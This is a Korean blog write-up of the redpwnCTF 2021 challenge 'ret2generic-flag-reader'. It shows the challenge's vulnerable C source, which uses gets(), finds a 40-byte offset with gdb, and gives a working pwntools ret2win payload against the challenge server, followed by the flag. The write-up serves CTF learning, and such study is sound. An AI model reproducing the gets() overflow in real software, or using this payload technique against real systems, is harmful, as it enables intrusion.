redpwnCTF의 ret2generic-flag-reader 문제다. 바이너리와 소스코드가 주어져 있다.
바이너리를 실행하면 앞서 푼 포너블 문제와 마찬가지로 여러 문구들이 출력되고 입력을 받는다.
마찬가지로 nx bit가 걸려있다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void super_generic_flag_reading_function_please_ret_to_me()
{
char flag[0x100] = {0};
FILE *fp = fopen("./flag.txt", "r");
if (!fp)
{
puts("no flag!! contact a member of rob inc");
exit(-1);
}
fgets(flag, 0xff, fp);
puts(flag);
fclose(fp);
}
int main(void)
{
char comments_and_concerns[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...");
puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!");
puts("slap on some flavortext and there's no way rob will fire me now!");
puts("this is genius!! what do you think?");
gets(comments_and_concerns);
}
소스코드를 확인해보면 마찬가지로 gets 함수로 입력을 받아 bof 취약점이 발생한다. 이번 문제는 flag를 출력해주는 함수가 따로 존재한다.
그렇다면 bof를 통해 ret를 flag를 출력해주는 함수의 주소로 변조한다면 flag를 얻을 수 있을 것이다.
gdb를 통해 ret와 입력 값이 저장되는 buffer의 스택 주소를 구했다.
ret : 0x7fffffffdc98
buf : 0x7fffffffdc70
ret와 buf간의 거리는 40byte인 것을 알 수 있다.
flag를 출력해주는 함수의 주소는 0x00000000004011f6다.
그렇다면 dummy * 40 + 64bit little endian으로 패킹된 0x00000000004011f6를 입력 값으로 준다면 flag를 얻을 수 있다.
from pwn import *
r = remote('mc.ax', 31077)
get_flag = 0x00000000004011f6
payload = b'A'*40 + p64(get_flag)
r.sendlineafter('this is genius!! what do you think?', payload)
r.interactive()
flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}
'CTF' 카테고리의 다른 글
RTLxHA CTF 21 write up (0) | 2021.08.02 |
---|---|
[redpwnCTF 2021] rev - wstrings (0) | 2021.07.13 |
[redpwnCTF 2021] pwn - beginner-generic-pwn-number-0 (0) | 2021.07.13 |
[redpwnCTF 2021] misc problems (0) | 2021.07.12 |
[Cyberthreatforce CTF] pwn - Bof_1 (0) | 2021.07.05 |